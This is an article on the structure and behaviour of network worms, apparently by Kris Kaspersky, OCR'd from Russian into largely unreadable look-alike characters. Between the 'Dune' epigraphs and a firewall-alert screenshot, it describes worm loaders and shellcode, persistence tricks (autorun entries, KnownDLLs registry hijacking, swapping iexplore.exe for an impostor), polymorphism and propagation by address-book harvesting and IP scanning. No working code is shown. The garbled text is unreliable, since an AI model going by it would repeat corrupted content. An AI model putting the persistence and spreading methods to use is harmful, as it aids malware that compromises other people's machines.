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)XU3HEHHbIW LUK YEPBEM

— Yepsb npuvpet obs3arensHo?
— ObssatesnbHo.
®peHk XepbepT, «[JioHa»

HepBamu MpuHATO Ha3bIBaTh CETEBbIE BUPYChI, MDOHNKAOLLMNE B 3APAXKEHHbIE MALLNHbI BITOJIHE
€CTECTBEHHbIM 1yTeM, 663 KaKuX-/nbo AeViCTBUN CO CTOPOHAI 10/1b30BATESIA. OHu b651m>e Bcex
0CTallbHbIX BUPYCOB NOJOOPANTNCH K MOLEIIN CBOUX BMOJIOMMYECKUX MPOTOTUINOB U [TOTOMY YPE3BbIYANHO
Pa3PyLLUNTETIbHbI U 0NACHBI. VIX He 6EpyT HUKAKNE NPEBEHTUBHbIE MEPbI 3ALLUTbI, AHTUBUPYCHBIE CKAHEPbI
W BaKUMHbI 0 CUX N10P OCTAKOTCA KPaviHe He3(hEKTUBHbIMU CPEACTBaMMU 60PbObI. HalLecTsne YepBeni
He/b3A NPEeABUAETL W NPAKTUYECKU HEBOSMOXHO 0CTaHOBUTbL. HO BCe-Taku YyepBu ysi3BuMbl. 4100b1
0/]071€Tb 4€PBSA, Bbl JO/IKHbI 3HATb CTPYKTYPY €ro nporpamMmHOro Koga, 0CHOBHbIE MOBAAKMN, Hanbosiee
BEPOATHbIE alifOPUTMbI BHELIPEHUA W PACTIPOCTPAHEHNA. Cetb VIHTepHET B Lje/10M 1 0nepaLnoHHbIe
CUCTEMbI B YACTHOCTU — 3TO HACTOALLMIA NIAOUPUHT, U BAM MOHA[00UTCSA €ro nogpooHas kapra

C OTMETKamMu CeKPEeTHbIX TPOIMN N 4ePHbIX XO40B, UCI0JIb3YEMbIX YePBAMU [1J14 CKPbITOIO [IPOHNKHOBEHNA
B HEPBHbIE Y3/1bl XEPTBbI. BCe 3T0 M MHOroe Apyroe Bbl HaveTe B 3TON CTaThe.

KPHC KACTIEPCKH



Wnnuuanusaymsa, unu HeckonbKo cnos
nepen ssegeHuem

B Te MWHyTbI, KOrga NULWYTCSH 3TW CTPOKW, B NEBOM HWXHEM
yrny KOMMbOTEPA JIEHMBO MWUraeT rna3ok NepcoHasnbHOro
6paHamayapa, PuUnbTPYIOLLEro NakeTsl, NpUxoasLLmMe no co-
ToBOMY TenedoHy 4epe3 GPRS (mexay npo4uMM, O4eHb
XopoLuas LWTyka — pekomerayto!). Snusoanyeckn — He valle
4eM TPU-NSATb pa3 B €Hb — B CUCTEMY NbITAETCSH NPOHUKHY T
4epBb Love San (Mnu YTO-TO O4EHb HA HETO MOXOXEE), U TOr-
na 6paHamMayap Bbi6packiBaeT Ha 3KpaH CrieayroLLEeE OKHO (CM.
puc. 1). Ta xe camas KapTvHa HabnogaeTca vy AByX ApYrux
MOWX MpOoBaiaepoB.

M x0TA aKTUBHOCTb YepBsi HEYKNOHHO CHWXaeTCs (napy
MecsLEB Ha3ap aTtaka npoucxoguna 6yKBasbHble KaXAbli
yac-nonTopa), 40 npasgHoBaHusa nobeabl eLLle aaneko. Yepsb
XWUS1, XMBET W ByOeT XuTb! Bbi3biBaeT yBaXeHne TOT (hakT,
4TO aBTOP YePBS HE NPEAYCMOTPEN HUKAKMX AECTPYKTUBHBIX
LENCTBUIA, B NPOTMBHOM Cry4ae yuep6 okasancs HeBOCMNo-
HUMbIM, 1 BCEW 3EMHO LIMBUNM3ALIMM CUSTbHO MOMOXENO Bbl.

A cKonbko Ablp U 4epBen nosBuTcs 3aBTpa? bbino Obl
HaWBHO HAZEATbCA, YTO STOW CTATbEW MOXHO XOTb YTO-TO
ucnpaBnTb, MO3TOMY MOCE OOATUX KOnebaHWin, COMHEHWI
N pa3MbILLIEHUI 1 PELUUIT OPUEHTUPOBATL €€ HE TOJIbKO Ha
CUCTEMHBIX aMUHUCTPATOPOB, HO U Ha... BUpyconucaTesnen.
A yTo, naBan xe EBrexHunin Kacnepckuii coBeTbl aBTOpam Bu-
pycoB, NpeaBapssa CBOK CTaTblo TakMMM croBamu: «Ycno-
Kontecb! He Hafo roToBUTL pyraTtefibCTBa UM, Ha0bopoT,
notupaTb pyku. Mbl HE XOTUM OENUTLCH CBOUMU UAESMM C
aBTOpPaMu KOMMbIOTEPHbIX BUPYCOB. Bce 3HauMTensHO npo-
e — Yepe3 HallM PYKWU NPOLUSIO HECKONbKO COTEeH o6pas-
LIOB KOMMbIOTEPHbLIX XXUBOTHbIX, U CIIMLLKOM 4acTO B HUX
BCTPEYaIMCb OAHW 1 Te Xe OLWn6KKN. C 04HOM CTOPOHBI, 3TO
XOPOLUO — Takne BUPYCbl 4ACTO OKa3bIBAKTCA «ManoXuBy-
LLMMM», HO, C BPYron CTOPOHbI, Mano3ameTHas owmnbka Mo-
XET NPUBECTU K HECOBMECTUMOCTU BMPYCa U MCMOJb3YeMO-
ro Ha KOMMbIOTEPE NPOrpamMMHOro obecneyeHus. B peaynb-
TaTe BMPYC «BELUAET» CUCTEMY, KOMMbIOTEP OTAbIXAET, a
NoNb30BaTENM MEYYTCA B NaHWKe ¢ Kpukamu: «IycTb XoTb
100 BupycoB, nuLLb 66l KOMMNblOTep paboTan!!!» (3aBTpa caa-
BaTb 3aKas, He 3anyckaeTca camas NtobumMas UrpyLika, Kom-
nUNATop BUCHET npwu Bbixoge B DOS u 1. n.). U BCe aT0 npo-
UCXOOMT NPU 3apaxeHnn JOBONbHO 6€306MaHBIM BUPYCOM.
o NpMYMHE 3TOrO 1 BO3HMKIIO XeSlaHWe NOJESIUTLCA HEKO-
TOPOMN MHOpMaLMeit 0 XU3HW BUpYCa B KOMMbOTEpe, fabbl
061er4NTb XN3Hb 1 BaM, 1 MHOTOYUCIIEHHBIM «M0JIb30BaTe-
NAM» BaLLUMX BUPYCOB».

YepBu, ecnm TOMbKO B HAX He 3aN0XeHbl AECTPYKTUBHbIE
BO3MOXHOCTU, HE TOSTbKO BPEAHLI, HO U None3Hbl. Bupyckl —
3T0 BOOGLLIE OHOLLIECKAsA 60NE3Hb BCEX UMM MPAKTUHECKMN BCEX
nporpamMmMmcToB. Y10 MK aBMxeT? XKenaHwe HaBpeauTb?
CTpemrneHve caMOyTBEPAMTLCS B YbMX-TO rnasax? A MOXeT
6bITb, NPOCTOM NO3HaBATENbHBIN MHTEpec? PagymeeTcs, ecrnu
4epBb NONOXWUN BeCb VIHTEPHET, ero cospaTens JOMKEH OT-
BETWUTb. [JaHHas CTaTbl — HE CAMOY4MUTENb MO HAMUCaHWIO
yepBel. Ckopee 3T0 AeTaslbHbIA aHan3 OWNBOK, JONYLLEH-
HbIX BUpyconMcaTensamu.

71 He Npu3biBato Bac nucaTtb YepBei. HanpoTue, s Npuabl-
Bal0 ofymMatbca U He pgenatb 3Toro. Ho ecnu yx Bam faeit-
CTBMTESNIbHO HEBTEPMNEX, NMULLMTE TOrAA N0 KpaHen Mepe Tak,
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4TOG6bI BaLLE TBOPEHWE HE MELLANO XWUTb U TPYOUTLCS BCEM
ocTasibHbIM. AMUHb!

Sygate Personal Firewall 0171472004 23:09:06 E

Eer_nember Ty answer, and da not ask me Yes No
again for thiz application. = =

Generic Host Pracess for Win32 Services is being connected by the remote machine [192.168.16.10]
uging local part 135 [EPMAP - DCE endpoint resolution]. Do pou want to allow this program to access
the: network?

Detalled information of Generic Host Process for Win3Z2 Services and the connection it is tiying to establish:

5.00.2134.1 =
Generic Host Process for Win3Z Services

C:\WINNT, systen32)svchost. exe

1E4 (Heximal) 484 (Decimal)

File Version :
File Description :
File Path :
Process ID :

Connection origin @ remote initiated

Protocol : TCE

Local hddress : 19Z.1658.16.586

Local Port : 135 (EFMAP - DCE endpoint resolution)
Remote MName :

Remote Address : 192.168.16.10

Remote POrc : 1154

Ethernet packet details:
Ethernet IT (Packet Length: 62)
Destination: 00-00-02-00-00-00
Fource: 94-80-20-00-02-00
Type: IPF (0x0800)
Internet Protocol LI

Pucyrok 1. Kro-To ymopHo mommrcss Ha 135 nopr,
YSIBBUMOCTb. . .

copmepxaupit

BBGAGHMB, Unu npespatAaT nn Yepsu
ceTb B KOMNoct?
— A-a, Yepsu. 51 fOMmKeH Kak-H1bYb YBUAETb OAHOO U3 HUX.
— MoxxeT ObiTb, Bbl 1 yBUANTE €ro CerogHs.
®peHk XepbepT, «[JioHa»

-

PucyHok 2. UepBum arakyioT! M HMYTO He CMOXET HM OCTAHOBUTH,
HM COMTB MX C IyTH

Ecnu KTO 1 pasbupaeTca B YepBsx, Tak 3T0 XepbepT. Vxac-
Hble cO3[aHus, 6NeCTALLE ONMUCaHHbIe B «[loHE» 1 Bbi3blBa-
loLLMe Y YMTaTeNlen CMeCb cTpaxa C yBaXeHWeM, — OHW Oei-
CTBMTENBHO BO MHOTOM MOXOXW HA OBHOMMEHHBIX obuUTaTe-
nen knbepHeTMyeckoro mvpa. /1 noka cneumanuctsl no uH-
hopMaLMoHHOM 6€30NaCHOCTY OXECTOYEHHO CMOPAT, ABIS-
I0TCS MW YEPBU OLHUM M3 MOAKNACCOB BUPYCHbIX NMPOrpamMmm
Unn e 06pasytoT BMOMHE CAMOCTOATESNbHYIO rpynny Bpeno-
HOCHbIX «OpraHM3MoB», YEPBW yCNenu nepenaxatb Becb WH-
TEPHET 1 NPOAOMXAIOT 3apbIBaTLCA B HEMO € GELLEHOI CKOpO-
CTbl0. YAQNUTb Xe OfHaXbl 3apOAUBLLEr0Cs YePBSA NpaKTu-
4eCcKM HeBO3MOXHO. 3abyasTe 0 Hepee Moppuca! Ceitvac He
TO BPEMS, He Te MPOMYCKHbIE CNIOCOBHOCTM KaHamnoB v He Ta
KBanngukaums obcnyxuBatoLlero nepcoHana. B ganekux
BOCbMMIECATbIX C 3apa30i yaanoch CNpaBUTLCS NULWb 611a-
rogaps He6onbLLOW (N0 COBPEMEHHLIM MepkaMm!) YUCNEeHHOC-
TV Y3NI0B CETU U LIeHTPa/IM30BaHHON OpraHu3aunm CTPyKTy-
pbl CETEBOr0 COO6LLECTBA.
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A 4TO MbI UMeeM cenyac? KonmyecTso y3oB CETU BNIOT-
HYt0 MPMBIMXKAETCA K YeThIPEM MUNSIMapAaM, Npuy4eM Noaas-
NALWMM 6ONbLUMHCTBOM Y3J10M YNPaBAAaloT COBEPLUEHHO
6e3rpamoTHbIE NOMNb30BaTESM, U NLLL HE3HAYUTENbHAsA YacTb
CETEBbIX PECYPCOB HAXOANTCSA B PyKax afAMMHUCTPATOPOB, 3a-
4acTylo ABNSAOLLMXCS BCE TEMM Xe 6e3rpamoTHbIMM MOJb30-
BaTeNsAMM, C TPYAOM OTIMHAIOLLMMM OAUH NPOTOKON OT ApYy-
roro v Bo BceM nonaratowmmmcs Ha Microsoft n NT, koTopble
«BCE 3a HWX caenarwT». YTo Takoe 3annaTku, HeKOTopble U3
HWUX, BO3MOXHO, W 3HAIOT, HO 1O UX YCTaHOBKM [ENO, TaK Uu
MHaye, CNoLWb U PAOOM He [OXOuT.

MoxHO fo noTepu nynbca NpoknuHaTb CeaToro bunna un
€ro KopsiBoe NporpaMMHoOe 06ecrneyeHne, Ho npobnema BoB-
Ce He B [blpax, a B XanaTHOM OTHOLLEHUM K 6e30MacHOCTM 1
OTKPOBEHHOM pas3runbAaincTBe agMUHUCTPATOPOB. YTo Ka-
caeTcs NporpamMMUCTCKMX owmnbok, To B mupe UNIX cutya-
LMa 06CTOUT HUYYTb He Jy4LLIMM 06pa3oM. 34eCh TOXE BO-
[ATCA YEPBU, MyCKaii He BNeYaTNsioLLMe YUCTEHHOCTLIO CBO-
UX LUTAMMOB, 3aTO OTMYatoLLMecs 60MbLIONA U30LLPEHHOC-
Thbi0 M pa3Hoo6pasmem. 34ecb Takxe CryHatTCsa BCMbILKM
ANUOEMUIA, HACHUTLIBAKOLLME ThICSHYU U JaXe AeCATKW Thbl-
cAY XepTB (mOCTAaTOYHO BCMOMHUTL 4epBel Scalper u
Slapper, nopaxatowux Apache-cepeepa, BpallatoLmecs nog
ynpaBneHmem FreeBSD u Linux coOTBETCTBEHHO). KOHeY-
HO, MO CpaBHeHMO ¢ MuNMoHamu ynaswmnx Windows-cuc-
TEM 3TV LUGPbI BIFNAAAT 6051€€ YHEM YMEPEHHBIMU, OfHAKO
nereHaapHas 3alUMLLEHHOCTb (TOYHee, Kak pas-Taku Hesa-
wuweHHoctb) UNIX TyT coBcem Hu npu veM. MNpocto UNIX-
CUCTEMbI YNPaBNAOTCA HAMHOro 605ee rpamMoTHLIMK One-
patopamu, 4em Windows NT.

HwKTO He rapaHT1poBaH OT BTOPXXeHWS 1 BcemupHas CeTb
LENCTBUTENBHO HaxoamuTcs B 60MbLLOM onacHocTu. MpocTo,
MO CHaCTIMBOMY CTEYEHMIO 0BCTOATENBLCTB, BCE NpeablayLuue
4yepBu ObINK JOBOMNBHO 6€33M106HBIMU CO3AaHUAMM, U yLLep6
OT UX Pa3MHOXEHUS CKOpPee HOCWM KOCBEHHBIN, YeM MPSMON
XapakTep, HO 1 B 3TOM CJly4ae OH U3MepASIC MHOTMMU MUS-
NOHaMW JONSIaPOB M AONTMMM Yacamu NOSHOMO UMK YacTuy-
HOro noneraHust cetTu. Y Hac eLle ecTb BPeMsl Ha TO, YTOObI
13BNIEYb XOPOLLUIA YPOK U3 CIYHMBLLETOCS W KapAnHanbHbIM
06pa3oM NepecMOTPETb CBOE OTHOLLEHWE K 6e30MacHOCTH,
noaTomy He 6ynem 6orblue TEPATL BPEMEHN Ha 6ecnones-
Hble P1NOCOCTBOBAHUS M MPUCTYMUM K CTEPXHEBON TEME
JaHHON CTaTbMu.

CTpVKTvaaﬂ aHaToMmug uepss

Te oK3eMnspbl YepBe, KOTOPbIE Mbl U3y4alu,
3acrtaBun/iv Hac ripegriosiarartb, HTo BHY TPV HUX
rnoonecxognt CITOXKHbIVE XUMUYECKui OOMEH.
®peHk XepbepT, «[JioHa»
YcnoBuMCS HasblBaTb YEPBEM KOMMBIOTEPHYIO Mporpammy,
o6ragarLLyo penpofyKTUBHbIMW HaBbIKaMmK 1 CMIOCOBHYIO K
CaMOCTOSTESIbHOMY NepemeLLeHmnio no cetu. MonpocTy roso-
psl, YEPBb — 3TO HEYTO TaKoe, YTO MPUXOAMT K Bam Camo U
3axBaTbIBaeT ynpaBneHWe MalluMHoOn 6e3 Kakux-nnbo aen-
CTBWUI C BalLEN CTOPOHbI. [ns BHeOPEHUS B 3apaKaemylo
CUCTEMY YEPBb MOXET UCMONb30BaTh PA3fIMYHbIE MEXAHU3-
Mbl: ObIpbl, Ciabble Naponu, ya3BMMOCTN 6a30BbIX U NpUKnad-
HbIX MPOTOKOMOB, OTKPLITbIE CUCTEMBI 1 HESNIOBEHECKUIA (haK-

Top (CM. «MexaHW3Mbl pacnpoCTpaHeHUs YepBe»).
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Hopa, npopbiTas BUpycom B cucteme, 06bIMHO OKa3blBa-
€TCH CNMLLKOM Y3Ka, YTOObl BMECTUTbL BCETO YepBsika Lenu-
koM. Hy pasBe 4T0 3T0 6yAeT COBCEM KPOXOTHbIVA M NpUMK-
TUBHbIA BUPYC, NMOCKOMbKY LUMPUHA TUMWYHON HOPbI N3Meps-
eTCA LECATKAMW UMM B Ny4LLEM criyqae CoTHaMK 6anT. MMo-
3TOMY CHa4ana Ha atakyemyt MalluHy NPOHUKAET NKLLb He-
6onbluas 4acTb BMpYCa, Ha3biBaemas rosioBoi unu 3arpys-
YMKOM, KOTOpast U NOATArMBaeT OCHOBHOE Teso Hepssi. Cob-
CTBEHHO rOBOpS, FONIOB Y BUPYCa MOXET ObITb M HECKOJbKO.
Tak, [OCTONOYTEHHbIA BMpyC Moppuca umen ABe ronosbl,
0fHa M3 KOTOPbLIX NpoJfie3ana Yepes3 OTNafO0HHbIA JIOK B
sendmail, a gpyras npoegana gelpy B finger, noatomy cosga-
Banocb 06MaH4MBOE BMEYaT/IEHWE, YTO CETb aTakylT ABa
pasnuyHbIX Yepssi. EcTecTBeHHO, YeM 6oMbLLE FOSIOB MMeeT
BMPYC, TEM OH XWM3HECNOCO6Hee. COBPEMEHHbIE YEPBY B CBO-
eM nopasnaoLLleM 60MbLINHCTBE 06M1afaloT OQHON-eMH-
CTBEHHOW rOfIOBOW, OAHAKO M3 3TOr0 NpaBusia Cny4atoTcs U1
UCKITIOYEHMA. Tak, Npy OM3accemMbIIEPHOM BCKPbITUM HYepBs
Nimda (cnoBo «admin», yaTaeMoe 3af0OM Hanepep) Ha ero
Tene 6bin0 06HAPYXEHO NATH FONOB, aTakyloLWMX KIMEHTOB
3NEKTPOHHOI NoYTbI, shared-pecypchbl, Be6-6pay3epbl, MS 1IS-
cepsepa U backdoor, octaBneHHble Bupycom Code Red. Ta-
KME MHOrOrosi0Bble MOHCTPbI CKOPEE HAMOMMHAIOT CKa304HbIX
LPaKOHOB MU TMaP, MOCKOSBbKY YEPBb C HECKOMbKMMM rono-
BaMu CMOTPUTCS, NPAMO TaK CKaXEM, XYTKOBaTO, HO... B K1-
6epHETNHECKMM MUPE CBOM 3aKOHbI.

BupycHbIiA 3arpy3ymk (06b14HO OTOXAECTBASAEMBIN C shell-
KOZOM, XOTS 3TO He BCerfa Tak) peLlaeT no MeHbLUel Mepe
TPW OCHOBHbIE 3a4a4M: BO-NEPBbIX, OH afanTUpyeT CBOE TENO
(v npy HEOBXOAMMOCTM OCHOBHOE TEJSIO YepBsi) K aHaTOMu-
4ECKMM OCOBEHHOCTAM OpraHuW3mMa XepTBbl, ONPERenss am-
peca Heo6X0AUMbIX EMY CUCTEMHBIX BbI3OBOB, CBOV COBCTBEH-
HbIi aipec pasmeLleHus B NamsTh, TEKYLLMIA YPOBEHb Npu-
BUNEruiA n 7. A. Bo-BTOpbIX, 3arpy34uK ycTaHaBInBaeT OAWH
UM HECKOJTbKO KaHamoB CBS3W C BHELLHUM MUPOM, Heobxo-
AMMbIX 4N TPAHCMOPTUPOBKM OCHOBHOIO Tesia vyepss. Yalle
BCero ans atoro ucnonsayetcs TCP/IP-coegnHeHne, ogHako
4epBb MOXET BOCMoONb3oBaTbes yenyramu FTP- n/vnu POP3/
SMTP-npoTOKONOB, 4TO OCOBEHHO aKTyaslbHO s YepBen,
MbITAIOLLMXCA NPOHUKHYTH B JIOKaJIbHbIE CETU, CO BCEX CTO-
POH OroOpOXeHHble cnoLHon cTteHon Firewall. B-TpeTbux,
3arpy34uk 3abpachkiBaeT XBOCT BMPYCa Ha 3apaXeHHbIA KOM-
nbloTep, NepefaBas emMy 6pasabl NpaBneHus. [ns CoKpbITUS
thakTa cBOEro NPUCYTCTBUSA 3arpy34MK MOXET BOCCTAHOBUTb
paspyLUeHHbIE CTPYKTYPbI LaHHbIX, YAEPXUBasA CUCTEMY OT
nageHns, a MOXeT NOPYYUTb 3TO OCHOBHOMY TENY YepBs.
BbINonHMB CBOIO MUCCUIO, 3arpy34mnk 06bI4HO normbaeTt, no-
CKOMbKY BKIIOYNTb B TENO BUpYCA KOMUIO 3arpy3ymka ¢ WH-
XXEHEPHON TOUKMN 3PEHMS HAMHOTO NPOLLE, YeM cobmpaThb BU-
pycC Mo YacTaMm.

OpHaxpbl NonyyvB ynpaeneHue, YepBb NEPBLIM AESIOM
LOJSKEH Morny6xe 3apbiTbCs B FPYHT CUCTEMbI, BTSIHYB CBOM
BJIMHHBIA XBOCT BHYTPb Kakoro-HMbyab HenpUMETHOrO Mpo-
uecca u/vnu chaiina. A 3alwmppoBaHHble (MONMMOPGHLIE)
BUPYCbl JOMKHbI Ce6s elle 1 paclumdpoBaTs/pacnakoBaTb
(ecnu TONbKO 3Ty OMepaLMIo He BbINOMHWUA 3a HUX 3arpy34uK).

Brnpo4em, 4epBb MOXET BECTU M KOYEBYH XW3Hb, aBTO-
MaTnyecku ypanss cebsi M3 CMCTEMbI MO NPOLLECTBUM HEKO-
TOPOro BPEMEHN — 3TO JO6ABNSET EMY CKPbITHOCTU U 3HAUM-

CHCTEMHEIAAMUHUCTPATOD



TEeNbHO YMEHbLUAET Harpy3Ky Ha ceTb. [1py yenoBsum, 4To no-
paxkaeMbili cepeuc obpabaTtbiBaeT kaxaoe TCP/IP-coeanHe-
HWe B OTAESIbHOM NOTOKE (a B 6OMbLUMHCTBE Cy4aeB Aesio
06CTOMT MMEHHO TakK), YepBlO BYAET [OCTaTO4HO BbIAEUTD
610K NamsTh, NPUCBOUTL EMY aTPUBYT UCMOSTHAEMOTO U CKO-
nMpoBaTb TyAa CBOE TeNo (HanpsMyto NepebpocuTb XBOCT B
afpecHOe NPOCTPAHCTBO NOTOKA XXEPTBbI HEMNb3A, T.K. CETMEHT
KoZa no YMOM4YaHWIO 3aLLMLLEH OT 3an1cK, a CErMEHT JaHHbIX
Mo yMOM4YaHMIO 3anpeLLaeT ucnonHeHne', octaetca cTek u
Ky4a; CTeK YalLie BCEro UCrosHseM no AedonTy, a Kyva —Her,
W Ona yctaHoBKM aTpubyta Executable yepsto npuxogurca
XUMWUYUTb C CUCTEMHBIMU (HYHKLIMAMU MEHELKEpa BUPTYallb-
HOM namaTtu). Ecnun xe ronoea 4epesa nonyvaeT ynpasreHue
[0 TOro, Kak ysa3BMMbIiA CEPBUC CO30aCT HOBbIA MOTOK WK
ycreeT pacLuennTb npouecc Bbi30BOM fork, 4epBb JOMKEH
0653aTenbHO BO3BPATUTL YNpaBJieHWe NporpaMme-HOCUTESTHO,
B MPOTMBHOM Cfly4ae Ta HEMERJIEHHO NSXET, U NONy4uTCs
camblii HaTypanbHbIi DoS. Mpy 3TOM NONHbLIA BO3BPAT ynpas-
NeHusa npegnonaraeT NoOTepPLo BNACTW Haf MalUMHOMW, a 3Ha-
YUT U CMeEPTb 4epBS. YT0Bbl HE YPOHUTHL CUCTEMY, HO U HE
NULLINTBCS XWU3HW CaMOMY, YEPBb JOMKEH OCTaBUTb CBO
Pe3nOEHTHYIO Konuio unu, B 6onee obLLeM cryyae, — Moau-
huumpoBaTth CUCTEMY TaK, 4TOBbI XOTA 6bl U3peaKa nonyyatb
ynpaeneHue. 310 nerko. MepBoe, He camoe ygayHoe, 3aTo
3NIEMEHTAPHO peanv3yeMoe peLLleHne 3aKknoyvaeTcs B co3aa-
HUM HOBOrO harina ¢ nocneayoLLm Jo6aBIEHVEM €0 B CMU-
COK aBTOMaTU4ECKM 3anycKaeMbIx nporpamm. bonee n3oLpet-
Hble YepBW BHEOPSAOT CBOE TEMO B MOAJIOXKHYI0 AMHAMMYeC-
Kyto 61ONIMOTEKY M pa3MeLLaloT ee B TEKYLLIEM KaTasore yss-
BUMOTO MPUOXEHMSA (MM NPOCTO B KaTanore filo6oro 6onee
WM MeHee 4acTo 3amyckaemoro npunoxexus). Ewe yepsb
MOXET M3MEHUTb MOPSOOK 3arpy3ku OUHAMUYECKMX BUONMO-
TEK UM faXe Ha3Ha4MThb CYLLECTBYIOLLM AMHAMUHECKUM 616-
nmotekam nognoxHole ncesgoHumbl (B OC cemeictea
Windows 3a 370 oTBevaeT cregylumMin pasgen peectpa:
HKLM\SYSTEM\CurrentControlSet\Control\Session Maneger\
KnownDLLs). CunbHO M3BpaLLeHHbIE HEPBM MOTYT PETUCTPU-
poBaTb B cucTeme cBom noByLUku (hocks), mogndumumposaTb
Tabnmuy nmnopTa npoLecca-HoCMTENS, BCTABNATL B KOJOBbIN
CErMeHT KOMaHay nepexofa Ha CBOe Teno (pasymeeTcs, npea-
BapuTenbHO nNpuceons emy atpubyT Writable), ckaHmpoBaTb
namsTb B nouckax Tabnuy BUpTYyasbHbIX (OYHKUWA U MOAU-
huumpoBath MX N0 CBOEMY YCMOTPEHMIO (BHUMAHWE: B MUpe
UNIX 60/blWMHCTBO TabnuL BUPTYasnbHbIX (PYHKUMIA pacno-
nararTca B 06nactu namsaTi, [OCTYMHOW NULLb Ha YTEHWE,
HO He Ha 3anuchb).

Kopoye roBopsi, BOSMOXHbIX NyTel 34ecb He No-OeTCKM
MHOrO, U 3aTepATbCA B TyLLEe CUCTEMHbBIX, UCMOSHAEMbIX U
KOHOUrypaLmoHHbIX (hainos YepBIO HUYEro He ctouT. NonyT-
HO OTMETMM, YTO TOMbKO Camble MPUMUTUBHbIE N3 YEPBEN
MOryT MO3BONUTL Ce6e POCKOLLb CO3AAHUA HOBOrO npoLec-
ca, KpaCHOPEYMBO CBUAETENLCTBYIOLLErO O HAIMYMK NOCTO-
POHHWMX. MevansHO n3BeCTHbIA Love San, kctatu, oTHocuTcs
WUMEHHO K 3TOMY Knaccy. Mexay Tem, UCnonb3ys Mexnpo-
LIeCCOPHbIE CPEACTBA B3aWMOLENCTBIA, BHEAPUTLCS B afpec-
HO€e NPOCTPaHCTBO HYXOro NpoLecca HUYEro He CTOMUT, pas-
HO KaK HU4ero He CTOWT 3apa3uTb SO0 UCMOSNHAEMBIV chan,
B TOM 4KCIe M 98P0 cucTeMbl. KTo TaM roBopuT, 4To onepa-
LMOHHble cuctembl knacca Windows NT 610KMpyoT BOCTYN K
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3anyLleHHbIM UCMOMNHAEMbIM (havinam? BeibepeTe no6om no-
HpaBuBLLMICA BaM ¢hawn (MycTb Ana onpeaeneHHocTy 37o 6y-
ZeT iexplore.exe) u nepeumenyiite ero B iexplore.dll. MNpu Ha-
NYUM [OCTATOHHO YPOBHSA NPUBMNETUIA (MO YMOMHYaHUIO 3TO
NPVBMUAErMN agMUHUCTPaTOpa) onepaums nepemMeHoBaHus
3aBepLUaeTCs YCMeLHo, N akT1BHble konum Internet Explorer
aBTOMATWYECKM NepeHanpaBftoTCs CUCTEMOI K HOBOMY UMe-
HW. Tenepb co3panTe NOASIOXHbLIA iexplore.exe-ghann, 3anu-
CbIBalOLLMIA KaKoe-HMOYAb NPUBETCTBUE B CUCTEMHBIN XYp-
Han v 3arpyxatowuin opurmHansHeii Internet Explorer. Pasy-
MEeTCs, 3TO TOMNbKO AEMOHCTPALMOHHasA cxema. B peanbHoc-
TV BCE HAMHOIO CII0XHEe, HO BMECTE C TEM W... MHTEPECHee!
Bnpoyem, mbl oTBNEKNMCL. BepHemcst K Hallemy Bupycy, B
CMbICNIE K YEPBIO.

YKpenuBLUWNCL B CUCTEME, YEPBL MEPEXOANT K Camoin
rnaBHOV hasde CBOEW XN3HeOEeATENbHOCTN — hase pa3MHo-
XeHud. Mpu HanM4MM NoNMMOpPGHOro reHepartopa BUpYcC
€03[aeT COBEPLUEHHO BUIOM3MEHEHHYIO KOMUIO CBOErO TENa,
HY WnK, Ha XyLOW KOHeL, NpOoCTO 3almdpoBLIBAET KPUTH-
4yeckue cermeHTbl cBoero tena. OTCyTCTBME BCEX 3TUX Me-
XaHW3MOB OCTaBJIAE€T YEPBS BMOJIHE 60EBLIM U XU3HECNo-
COG6HbIM, OHAKO CYLLIECTBEHHO CyXaeT apeas ero pacnpoc-
TpaHeHus. CyanTte camu, He3aWMMPOBaHHbIA BUPYC NErko
ybuBaeTca NobbIM CETEBLIM (HUIIBTPOM, Kak-TO GpaHamay-
3POM UNK MapLUPYTU3aTOPOM. A BOT MPOTMB NOIMMOPMHbIX
4yepBeN afekBaTHbIX CPeacTB 60pbObI A0 CMX NOP HET, U CO-
MHUTESIbHO, YTOObI OHW NOSBMANCH B 0603pUMOM BYayLLEM.
PacnosHaHve nonMmopgHOro koga — aTa He Ta onepauus,
KOTOpast MOXET 6bITb OCYLLECTBIIEHA B peanbHOM BPEMEHU
Ha MarucTpasnbHbIX UHTEPHET-KaHanax. CoOTHOLLEHME Npo-
MYCKHOMN CMOCOBHOCTU COBPEMEHHbIX CETEN K BbIYUCIUTESTb-
HOW MOLLHOCTU COBPEMEHHBIX X€E MPOLIECCOPOB SBHO HE B
nonb3y nocnegHux. M xota HWU ofuH NONMMOPMHBIA YepBb
[0 CUX MOpP HE 3aMeYeH B «KMBOW NPUPOLE», HET HUKaKMX
rapaHTui, Y4To Takue BUPYCbl HE NOABATCA W Bnpedb. Jlo-
KanbHbIX NONUMOpPMHBIX BUPYCcOB Ha nnaTtgopme Intel 1A-32
N3BECTEH JO6PLIN JECATOK (pPeyb MAeT O NOANNHHOM MOnw-
Mopgu3me, a He TPMBMANBHOM 3aMyCOPUBaHUM KO HE3Ha-
YaLlMMK MaLLMHHBIMU KOMaHAaMM 1 UXKE C HUMM), Kak roBo-
puTCsi, BblBUPan He xouy.

Ho kakoii 661 anropuT™ YepBb HU CMOMNbL30Ban Ans CBOe-
ro Pa3MHOXEHMS, HOBOPOXAEHHbIE SK3EMMNAAPLI NOKMAAT
POAMTENbCKOE THE3A0 M Pacnon3aTcs no COCEAHNM MalLn-
HaM, ECI, KOHEYHO, MM YAACTCA 3TU Camble MaLLWHbI HaRTW.
CyLLecTByeT HECKONbKO HE3ABUCMMbIX CTpaTernii pacnpoct-
paHeHus, cpeamn KOTOPbIX B NEPBY0 O4epenb cnemyeT Bblae-
NUTb UMNOPT AaHHbIX U3 agpecHoi kHurn Outlook Express unu
AQHaNOrM4YHOro MOYTOBOrO KNIMEHTA, MPOCMOTP JIOKasbHbIX
(hainos xepTBbl HA NPeAMET NoucKa CETEBbIX aipecoB, CKa-
HUpoBaHve IP-agpecoB TEKYLLEN NOACETM U reHepaums cny-
yaviHoro IP-agpeca. YTo6bl He napann3oBatb CETb Ype3mMep-
HOM aKTMBHOCTBIO 1 He OTpe3aTb ce6e NyTW K pacnpocTpaHe-
HUIO, BUPYC LOJDKEH MCMOJb30BaTb NPOMYCKHbIE CNOCOBHOC-
TV 3aXBa4€HHbIX UM MH(DOPMALMOHHBIX KaHaNoB MakCUMyM
HanoJIOBMHY, a JlyyLUe OECATYIO MM AaXe COTYH YacTb. Yem
MEHbLUWIA BPER BUPYC HAHOCUT CETEBOMY COOOLLECTBY, TEM
MO3Xe OH OKa3blBAeTCs OBHAPYXEHHBIM U TEM C MEHbLUEN
MOCMELUHOCTbIO aMUHUCTPATOPb! YCTaHaBMBAKT COOTBET-
